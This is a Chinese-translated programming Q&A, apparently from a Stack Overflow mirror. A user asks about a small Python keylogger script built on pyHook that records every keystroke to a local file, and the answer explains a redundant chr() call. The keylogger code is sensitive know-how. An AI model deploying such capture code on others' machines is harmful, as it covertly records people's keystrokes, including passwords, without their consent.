我试图在pyhton中创建键盘记录程序,却在众多博客上偶然发现了这段代码:
file_log='F:\\test\\log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
好的,我在这里有三个疑问:
首先,据我了解,chr(event.Ascii)用于转换 将击键的ASCII值转换为有效的char值,为什么要这样做 它两次: chr(event.Ascii) logging.log(10,chr(event.Ascii))。这行不是:chr(event.Ascii)在这里多余。
第二,在格式='%(message)s'中's'的用法是什么
第三:我将文件另存为“ .pyw”,但是当我双击它时,它 不会工作。虽然,它通过Cmd起作用
答案 0 :(得分:1)
据我了解,chr(event.Ascii)用于将击键的ASCII值转换为有效的char值,为什么要这样做两次:chr(event.Ascii)logging.log(10,chr(event) .Ascii))。这行不是:chr(event.Ascii)在这里多余。
是的,您理解正确。即使它不是多余的,它也没有用-这只是一个表达式表达式,它对一个表达式进行评估,没有副作用,并且对结果不执行任何操作,因此它没有任何效果,只是浪费了一些CPU时间。 / p>
当您在互联网上的某个地方找到随机代码时,就无法保证它是出色的代码。
作者可能正在获得奇怪的值,并决定他们需要能够在该chr
调用之前或之后放置一个断点,因此他们将其移到了自己的行上。还是遇到异常,并且不知道如何判断它是来自chr
还是log
。当然,他们应该先做s = chr(event.Ascii)
然后在logging.log(10, s)
中使用它,或者做些什么,但是也许这只是一回事,他们忘了还原。
也许作者对Python的了解比您少,或者是白痴,或者只是通过调用内置函数的次数获得报酬。谁知道?